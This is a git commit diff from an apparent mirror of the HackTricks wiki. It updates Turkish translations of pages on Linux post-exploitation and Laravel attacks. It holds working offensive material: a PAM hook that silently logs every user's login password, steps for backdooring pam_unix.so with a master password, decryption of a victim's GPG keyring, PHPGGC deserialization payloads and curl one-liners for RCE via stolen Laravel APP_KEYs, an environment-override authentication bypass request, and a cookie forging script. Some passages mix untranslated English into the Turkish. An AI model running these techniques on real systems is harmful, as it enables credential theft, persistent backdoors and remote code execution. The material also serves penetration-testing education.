mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/linux-hardening/linux-post-exploitation/README.md',
This commit is contained in:
		
							parent
							
								
									6a9d79b0ce
								
							
						
					
					
						commit
						147ca42cea
					
				@ -2,25 +2,25 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## PAM ile Giriş Parolalarını Dinleme
 | 
			
		||||
## Sniffing Logon Passwords with PAM
 | 
			
		||||
 | 
			
		||||
Her kullanıcının giriş yapmak için kullandığı parolayı kaydetmek üzere bir PAM modülü yapılandıralım. PAM'ın ne olduğunu bilmiyorsanız kontrol edin:
 | 
			
		||||
Her kullanıcının login sırasında kullandığı parolayı kaydedecek bir PAM modülü yapılandıralım. PAM'in ne olduğunu bilmiyorsanız kontrol edin:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
pam-pluggable-authentication-modules.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
**Daha fazla detay için [orijinal gönderiyi](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) kontrol edin**. Bu sadece bir özet:
 | 
			
		||||
**Daha fazla detay için [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)'u kontrol edin**. Bu sadece bir özet:
 | 
			
		||||
 | 
			
		||||
**Teknik Genel Bakış:**
 | 
			
		||||
Eklentili Kimlik Doğrulama Modülleri (PAM), Unix tabanlı sistemlerde kimlik doğrulama yönetiminde esneklik sunar. Giriş süreçlerini özelleştirerek güvenliği artırabilir, ancak kötüye kullanıldığında riskler de oluşturabilir. Bu özet, PAM kullanarak giriş kimlik bilgilerini yakalama tekniğini ve buna karşı önleme stratejilerini özetlemektedir.
 | 
			
		||||
**Technique Overview:**
 | 
			
		||||
Pluggable Authentication Modules (PAM), Unix tabanlı sistemlerde kimlik doğrulamayı yönetmede esneklik sağlar. Login süreçlerini özelleştirerek güvenliği artırabilirler ancak kötüye kullanıldıklarında risk oluştururlar. Bu özet, PAM kullanarak login kimlik bilgilerini ele geçirme tekniğini ve azaltma stratejilerini ana hatlarıyla verir.
 | 
			
		||||
 | 
			
		||||
**Kimlik Bilgilerini Yakalama:**
 | 
			
		||||
**Capturing Credentials:**
 | 
			
		||||
 | 
			
		||||
- `toomanysecrets.sh` adlı bir bash betiği, giriş denemelerini kaydetmek için oluşturulmuştur; tarih, kullanıcı adı (`$PAM_USER`), parola (stdin üzerinden) ve uzak ana bilgisayar IP'si (`$PAM_RHOST`) bilgilerini `/var/log/toomanysecrets.log` dosyasına kaydeder.
 | 
			
		||||
- Betik çalıştırılabilir hale getirilir ve `pam_exec.so` modülü kullanılarak PAM yapılandırmasına (`common-auth`) entegre edilir; bu, sessizce çalıştırma ve kimlik doğrulama belirtecini betiğe açma seçenekleri ile yapılır.
 | 
			
		||||
- Bu yaklaşım, ele geçirilmiş bir Linux ana bilgisayarının kimlik bilgilerini gizlice kaydetmek için nasıl istismar edilebileceğini göstermektedir.
 | 
			
		||||
- `toomanysecrets.sh` adında bir bash script oluşturularak login denemelerini kaydeder; tarih, kullanıcı adı (`$PAM_USER`), parola (stdin aracılığıyla) ve remote host IP (`$PAM_RHOST`) `/var/log/toomanysecrets.log` dosyasına yazılır.
 | 
			
		||||
- Script çalıştırılabilir hale getirilir ve `common-auth` PAM konfigürasyonuna `pam_exec.so` modülü ile sessiz çalıştırma ve authentication token'ını script'e açma seçenekleri kullanılarak entegre edilir.
 | 
			
		||||
- Bu yaklaşım, ele geçirilmiş bir Linux hostunun kimlik bilgilerini gizlice kaydetmek için nasıl sömürülebileceğini gösterir.
 | 
			
		||||
```bash
 | 
			
		||||
#!/bin/sh
 | 
			
		||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
 | 
			
		||||
@ -30,25 +30,53 @@ sudo nano /etc/pam.d/common-auth
 | 
			
		||||
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
 | 
			
		||||
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
 | 
			
		||||
```
 | 
			
		||||
### PAM'e Arka Kapı Eklemek
 | 
			
		||||
### Backdooring PAM
 | 
			
		||||
 | 
			
		||||
**Daha fazla detay için [orijinal gönderiye](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9) bakın**. Bu sadece bir özet:
 | 
			
		||||
**Daha fazla detay için [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)’a bakın.** Bu sadece bir özet:
 | 
			
		||||
 | 
			
		||||
Eklentili Kimlik Doğrulama Modülü (PAM), Linux altında kullanıcı kimlik doğrulaması için kullanılan bir sistemdir. Üç ana kavram üzerinde çalışır: **kullanıcı adı**, **şifre** ve **hizmet**. Her hizmetin yapılandırma dosyaları `/etc/pam.d/` dizininde bulunur; burada paylaşılan kütüphaneler kimlik doğrulamasını yönetir.
 | 
			
		||||
Pluggable Authentication Module (PAM), Linux altında kullanıcı doğrulaması için kullanılan bir sistemdir. Üç ana kavram üzerinde çalışır: **kullanıcı adı**, **parola** ve **servis**. Her servis için yapılandırma dosyaları `/etc/pam.d/` dizininde bulunur; kimlik doğrulamayı paylaşılan kütüphaneler yönetir.
 | 
			
		||||
 | 
			
		||||
**Amaç**: PAM'i, belirli bir şifre ile kimlik doğrulamasına izin verecek şekilde değiştirmek, gerçek kullanıcı şifresini atlayarak. Bu, şifre doğrulaması için neredeyse tüm hizmetler tarafından dahil edilen `common-auth` dosyasında kullanılan `pam_unix.so` paylaşılan kütüphanesine özellikle odaklanmaktadır.
 | 
			
		||||
**Amaç**: PAM'i, gerçek kullanıcı parolasını atlayarak belirli bir parola ile kimlik doğrulamasına izin verecek şekilde değiştirmek. Bu özellikle `pam_unix.so` paylaşılan kütüphanesine odaklanır; bu kütüphane parola doğrulaması için neredeyse tüm servisler tarafından dahil edilen `common-auth` dosyası tarafından kullanılır.
 | 
			
		||||
 | 
			
		||||
### `pam_unix.so`'yu Değiştirme Adımları:
 | 
			
		||||
### Steps for Modifying `pam_unix.so`:
 | 
			
		||||
 | 
			
		||||
1. **Kimlik Doğrulama Yönergesini Bulun** `common-auth` dosyasında:
 | 
			
		||||
   - Bir kullanıcının şifresini kontrol eden satır `pam_unix.so`'yu çağırır.
 | 
			
		||||
2. **Kaynak Kodunu Değiştirin**:
 | 
			
		||||
   - `pam_unix_auth.c` kaynak dosyasında, önceden tanımlanmış bir şifre kullanıldığında erişim izni veren bir koşullu ifade ekleyin, aksi takdirde normal kimlik doğrulama sürecine devam edin.
 | 
			
		||||
3. **Derleyin ve Değiştirilmiş** `pam_unix.so` kütüphanesini uygun dizinde değiştirin.
 | 
			
		||||
1. **Kimlik Doğrulama Direktifini Bulun** `common-auth` dosyasında:
 | 
			
		||||
- Bir kullanıcının parolasını kontrol eden satır `pam_unix.so`'yu çağırır.
 | 
			
		||||
2. **Kaynak Kodu Değiştirin**:
 | 
			
		||||
- `pam_unix_auth.c` kaynak dosyasına, önceden tanımlanmış bir parola kullanıldığında erişim veren; aksi halde normal kimlik doğrulama sürecine devam eden bir koşul ifadesi ekleyin.
 | 
			
		||||
3. **Yeniden Derleyin ve Değiştirin**:
 | 
			
		||||
- Değiştirilmiş `pam_unix.so` kütüphanesini uygun dizinde yeniden derleyip yerine koyun.
 | 
			
		||||
4. **Test**:
 | 
			
		||||
   - Önceden tanımlanmış şifre ile çeşitli hizmetlere (giriş, ssh, sudo, su, ekran koruyucu) erişim izni verilirken, normal kimlik doğrulama süreçleri etkilenmez.
 | 
			
		||||
- Önceden tanımlanmış parola ile login, ssh, sudo, su, screensaver gibi çeşitli servislerde erişim sağlanır; normal kimlik doğrulama süreçleri etkilenmez.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Bu süreci [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) ile otomatikleştirebilirsiniz.
 | 
			
		||||
> Bu işlemi [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) ile otomatikleştirebilirsiniz
 | 
			
		||||
 | 
			
		||||
## Homedir taşınarak GPG loot'un şifresini çözme
 | 
			
		||||
 | 
			
		||||
Eğer şifreli bir `.gpg` dosyası ve bir kullanıcının `~/.gnupg` klasörünü (pubring, private-keys, trustdb) bulursanız fakat GnuPG homedir izinleri/kilitleri nedeniyle şifreyi çözemiyorsanız, keyring'i yazılabilir bir konuma kopyalayın ve bunu GPG home olarak kullanın.
 | 
			
		||||
 | 
			
		||||
Bunu yapmazsanız göreceğiniz tipik hatalar: "unsafe ownership on homedir", "failed to create temporary file", veya "decryption failed: No secret key" (çünkü GPG orijinal homedir'i okuyamaz/yazamaz).
 | 
			
		||||
 | 
			
		||||
İş akışı:
 | 
			
		||||
```bash
 | 
			
		||||
# 1) Stage a writable homedir and copy the victim's keyring
 | 
			
		||||
mkdir -p /dev/shm/fakehome/.gnupg
 | 
			
		||||
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
 | 
			
		||||
# 2) Ensure ownership & perms are sane for gnupg
 | 
			
		||||
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
 | 
			
		||||
chmod 700 /dev/shm/fakehome/.gnupg
 | 
			
		||||
# 3) Decrypt using the relocated homedir (either flag works)
 | 
			
		||||
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
 | 
			
		||||
# or
 | 
			
		||||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
 | 
			
		||||
```
 | 
			
		||||
Gizli anahtar materyali `private-keys-v1.d` içinde mevcutsa, GPG parola sormadan kilidi açar ve şifreyi çözer (veya anahtar korunuyorsa parola ister).
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
 | 
			
		||||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
										
											
												File diff suppressed because it is too large
												Load Diff
											
										
									
								
							@ -4,14 +4,14 @@
 | 
			
		||||
 | 
			
		||||
### Laravel SQLInjection
 | 
			
		||||
 | 
			
		||||
Bu konuda bilgi için burayı okuyun: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
 | 
			
		||||
Bu konuda bilgi için buraya bakın: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## APP_KEY & Şifreleme iç yapıları (Laravel \u003e=5.6)
 | 
			
		||||
## APP_KEY & Şifreleme iç yapısı (Laravel \u003e=5.6)
 | 
			
		||||
 | 
			
		||||
Laravel, arka planda HMAC bütünlüğü ile birlikte AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`).
 | 
			
		||||
Sonunda **müşteriye gönderilen** ham şifreli metin, **şu şekilde bir JSON nesnesinin Base64'üdür**:
 | 
			
		||||
Laravel, arka planda HMAC bütünlüğü ile AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`).
 | 
			
		||||
Son olarak **istemciye gönderilen** ham şifrelenmiş metin, şu örnekteki gibi bir JSON nesnesinin **Base64**'idir:
 | 
			
		||||
```json
 | 
			
		||||
{
 | 
			
		||||
"iv"   : "Base64(random 16-byte IV)",
 | 
			
		||||
@ -20,7 +20,9 @@ Sonunda **müşteriye gönderilen** ham şifreli metin, **şu şekilde bir JSON
 | 
			
		||||
"tag"  : ""                 // only used for AEAD ciphers (GCM)
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
`encrypt($value, $serialize=true)` varsayılan olarak metin düzünü `serialize()` ederken, `decrypt($payload, $unserialize=true)` **şifrelenmiş değeri otomatik olarak `unserialize()` edecektir.** Bu nedenle **32 baytlık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serileştirilmiş nesne oluşturabilir ve sihirli yöntemler (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir.**
 | 
			
		||||
`encrypt($value, $serialize=true)` varsayılan olarak düz metni `serialize()` ederken,
 | 
			
		||||
`decrypt($payload, $unserialize=true)` **çözülen değeri otomatik olarak `unserialize()` eder**.
 | 
			
		||||
Bu nedenle **32 byte'lık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serialized nesne oluşturup magic methods (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir.**
 | 
			
		||||
 | 
			
		||||
Minimal PoC (framework ≥9.x):
 | 
			
		||||
```php
 | 
			
		||||
@ -29,7 +31,7 @@ use Illuminate\Support\Facades\Crypt;
 | 
			
		||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
 | 
			
		||||
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste
 | 
			
		||||
```
 | 
			
		||||
Üretilen dizeyi herhangi bir savunmasız `decrypt()` sink'ine (route param, cookie, session, …) enjekte edin.
 | 
			
		||||
Oluşturulan string'i herhangi bir zafiyeti olan `decrypt()` sink'ine (route param, cookie, session, …) enjekte edin.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
@ -49,21 +51,21 @@ The script transparently supports both CBC and GCM payloads and re-generates the
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Gerçek dünya zayıf desenleri
 | 
			
		||||
## Gerçek dünya zafiyet örüntüleri
 | 
			
		||||
 | 
			
		||||
| Proje | Zayıf nokta | Gadget zinciri |
 | 
			
		||||
|-------|-------------|----------------|
 | 
			
		||||
| Proje | Güvenli olmayan sink | Gadget chain |
 | 
			
		||||
|---------|-----------------|--------------|
 | 
			
		||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
 | 
			
		||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` çerezi `Passport::withCookieSerialization()` etkin olduğunda | Laravel/RCE9 |
 | 
			
		||||
| Crater  (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` çerezi | Laravel/RCE15 |
 | 
			
		||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie Passport::withCookieSerialization() etkinleştirildiğinde | Laravel/RCE9 |
 | 
			
		||||
| Crater  (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
 | 
			
		||||
 | 
			
		||||
Sömürü iş akışı her zaman:
 | 
			
		||||
1. 32 baytlık `APP_KEY`'i elde et veya brute-force ile bul.
 | 
			
		||||
2. **PHPGGC** ile bir gadget zinciri oluştur (örneğin `Laravel/RCE13`, `Laravel/RCE9` veya `Laravel/RCE15`).
 | 
			
		||||
3. Seri hale getirilmiş gadget'ı **laravel_crypto_killer.py** ve geri kazanılan `APP_KEY` ile şifrele.
 | 
			
		||||
4. Şifreli metni zayıf `decrypt()` noktasına (route parametresi, çerez, oturum …) ileterek **RCE**'yi tetikle.
 | 
			
		||||
Sömürme iş akışı her zaman:
 | 
			
		||||
1. 32 baytlık `APP_KEY`'i ele geçirin veya brute-force ile kırın.
 | 
			
		||||
2. **PHPGGC** ile bir gadget zinciri oluşturun (örneğin `Laravel/RCE13`, `Laravel/RCE9` veya `Laravel/RCE15`).
 | 
			
		||||
3. Serileştirilmiş gadget'ı **laravel_crypto_killer.py** ve elde edilen `APP_KEY` ile şifreleyin.
 | 
			
		||||
4. Şifreli metni zafiyetli `decrypt()` sink'ine (route parametresi, cookie, session …) göndererek **RCE**'yi tetikleyin.
 | 
			
		||||
 | 
			
		||||
Aşağıda, yukarıda bahsedilen her gerçek dünya CVE için tam saldırı yolunu gösteren kısa tek satırlık örnekler bulunmaktadır:
 | 
			
		||||
Aşağıda yukarıda bahsedilen her gerçek dünya CVE'si için tam saldırı yolunu gösteren kısa one-liner'lar yer almaktadır:
 | 
			
		||||
```bash
 | 
			
		||||
# Invoice Ninja ≤5 – /route/{hash}
 | 
			
		||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
 | 
			
		||||
@ -80,41 +82,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
 | 
			
		||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
 | 
			
		||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
 | 
			
		||||
```
 | 
			
		||||
## Toplu APP_KEY keşfi via cookie brute-force
 | 
			
		||||
 | 
			
		||||
Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak milyonlarca ciphertext** that can be attacked offline.
 | 
			
		||||
 | 
			
		||||
Key findings of the research published by Synacktiv (2024-2025):
 | 
			
		||||
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
 | 
			
		||||
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
 | 
			
		||||
* >1 000 servers hâlâ legacy CVE-2018-15133'e karşı vuln çünkü tokenlar doğrudan serialized data içeriyor.
 | 
			
		||||
* Büyük key yeniden kullanımı – Top-10 APP_KEYs, ticari Laravel template'leriyle (UltimatePOS, Invoice Ninja, XPanel, …) gelen sabit kodlanmış varsayılanlar.
 | 
			
		||||
 | 
			
		||||
Özel Go aracı **nounours**, AES-CBC/GCM bruteforce throughput'unu ~1.5 billion tries/s seviyelerine çıkararak tüm dataset kırmayı <2 dakika'ya indiriyor.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
 | 
			
		||||
 | 
			
		||||
When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=<value>` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:
 | 
			
		||||
 | 
			
		||||
- Quick check:
 | 
			
		||||
- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
 | 
			
		||||
 | 
			
		||||
- Impact example (business logic trusting a special env):
 | 
			
		||||
- If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to:
 | 
			
		||||
- `POST /login?--env=preprod`
 | 
			
		||||
 | 
			
		||||
- Notes:
 | 
			
		||||
- Works per-request, no persistence.
 | 
			
		||||
- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP.
 | 
			
		||||
- Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths.
 | 
			
		||||
 | 
			
		||||
- Mitigations:
 | 
			
		||||
- Disable `register_argc_argv` for PHP-FPM/Apache.
 | 
			
		||||
- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes.
 | 
			
		||||
 | 
			
		||||
Minimal exploitation flow (Burp):
 | 
			
		||||
```http
 | 
			
		||||
POST /login?--env=preprod HTTP/1.1
 | 
			
		||||
Host: target
 | 
			
		||||
Content-Type: application/x-www-form-urlencoded
 | 
			
		||||
...
 | 
			
		||||
email=a@b.c&password=whatever&remember=0xdf
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Cookie brute-force ile toplu APP_KEY keşfi
 | 
			
		||||
 | 
			
		||||
Her yeni Laravel yanıtı en az 1 şifreli çerez (`XSRF-TOKEN` ve genellikle `laravel_session`) ayarladığı için, **kamusal internet tarayıcıları (Shodan, Censys, …) milyonlarca şifreli metin sızdırıyor** ve bunlar çevrimdışı olarak saldırıya uğrayabilir.
 | 
			
		||||
 | 
			
		||||
Synacktiv tarafından yayınlanan araştırmanın ana bulguları (2024-2025):
 | 
			
		||||
* Veri seti Temmuz 2024 » 580 k token, **%3.99 anahtar kırıldı** (≈23 k)
 | 
			
		||||
* Veri seti Mayıs 2025 » 625 k token, **%3.56 anahtar kırıldı**
 | 
			
		||||
* >1 000 sunucu hala eski CVE-2018-15133'e karşı savunmasız çünkü tokenlar doğrudan serileştirilmiş verileri içeriyor.
 | 
			
		||||
* Büyük anahtar yeniden kullanımı – En iyi 10 APP_KEY, ticari Laravel şablonlarıyla birlikte gelen hard-coded varsayılanlardır (UltimatePOS, Invoice Ninja, XPanel, …).
 | 
			
		||||
 | 
			
		||||
Özel Go aracı **nounours**, AES-CBC/GCM brute-force verimliliğini ~1.5 milyar deneme/s'ye çıkararak, tam veri seti kırma süresini <2 dakikaya düşürüyor.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## Laravel Hileleri
 | 
			
		||||
## Laravel İpuçları
 | 
			
		||||
 | 
			
		||||
### Hata ayıklama modu
 | 
			
		||||
 | 
			
		||||
Eğer Laravel **hata ayıklama modunda** ise, **kod** ve **hassas verilere** erişebileceksiniz.\
 | 
			
		||||
If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\
 | 
			
		||||
Örneğin `http://127.0.0.1:8000/profiles`:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Bu genellikle diğer Laravel RCE CVE'lerini istismar etmek için gereklidir.
 | 
			
		||||
Bu genellikle diğer Laravel RCE CVE'lerini exploit etmek için gereklidir.
 | 
			
		||||
 | 
			
		||||
### Fingerprinting & exposed dev endpoints
 | 
			
		||||
 | 
			
		||||
Üretim ortamında açıkta kalan bir Laravel yığını ve tehlikeli geliştirme araçlarını tespit etmek için hızlı kontroller:
 | 
			
		||||
 | 
			
		||||
- `/_ignition/health-check` → Ignition mevcut (CVE-2021-3129'da kullanılan hata ayıklama aracı). Eğer kimlik doğrulamasız erişilebiliyorsa, uygulama hata ayıklama modunda olabilir veya yanlış yapılandırılmış olabilir.
 | 
			
		||||
- `/_debugbar` → Laravel Debugbar varlıkları; genellikle hata ayıklama modunu işaret eder.
 | 
			
		||||
- `/telescope` → Laravel Telescope (geliştirme monitörü). Eğer herkese açıksa, geniş bilgi ifşası ve olası işlemler bekleyin.
 | 
			
		||||
- `/horizon` → Kuyruk panosu; sürüm bilgisi ifşası ve bazen CSRF korumalı eylemler.
 | 
			
		||||
- `X-Powered-By`, çerezler `XSRF-TOKEN` ve `laravel_session`, ve Blade hata sayfaları da tanımlamaya yardımcı olur.
 | 
			
		||||
```bash
 | 
			
		||||
# Nuclei quick probe
 | 
			
		||||
nuclei -nt -u https://target -tags laravel -rl 30
 | 
			
		||||
# Manual spot checks
 | 
			
		||||
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
 | 
			
		||||
```
 | 
			
		||||
### .env
 | 
			
		||||
 | 
			
		||||
Laravel, çerezleri ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'yi `.env` adlı bir dosya içinde saklar ve bu dosyaya `/../.env` altında bazı yol geçişleri kullanarak erişilebilir.
 | 
			
		||||
Laravel, cookies ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'i `.env` adlı bir dosyada saklar; bu dosyaya path traversal kullanılarak şu yoldan erişilebilir: `/../.env`
 | 
			
		||||
 | 
			
		||||
Laravel, bu bilgiyi hata bulunduğunda ve etkinleştirildiğinde hata ayıklama sayfasında da gösterecektir.
 | 
			
		||||
Laravel ayrıca bu bilgileri debug sayfasında da gösterir (Laravel bir hata bulduğunda ve debug etkinse açılan sayfa).
 | 
			
		||||
 | 
			
		||||
Laravel'in gizli APP_KEY'sini kullanarak çerezleri şifreleyebilir ve yeniden şifreleyebilirsiniz:
 | 
			
		||||
Laravel'in gizli APP_KEY'ini kullanarak cookies'i çözüp tekrar şifreleyebilirsiniz:
 | 
			
		||||
 | 
			
		||||
### Çerezi Şifre Çözme
 | 
			
		||||
### Decrypt Cookie
 | 
			
		||||
```python
 | 
			
		||||
import os
 | 
			
		||||
import json
 | 
			
		||||
@ -169,18 +214,18 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
 | 
			
		||||
 | 
			
		||||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
 | 
			
		||||
key = base64.b64decode(app_key)
 | 
			
		||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
 | 
			
		||||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
 | 
			
		||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
 | 
			
		||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
 | 
			
		||||
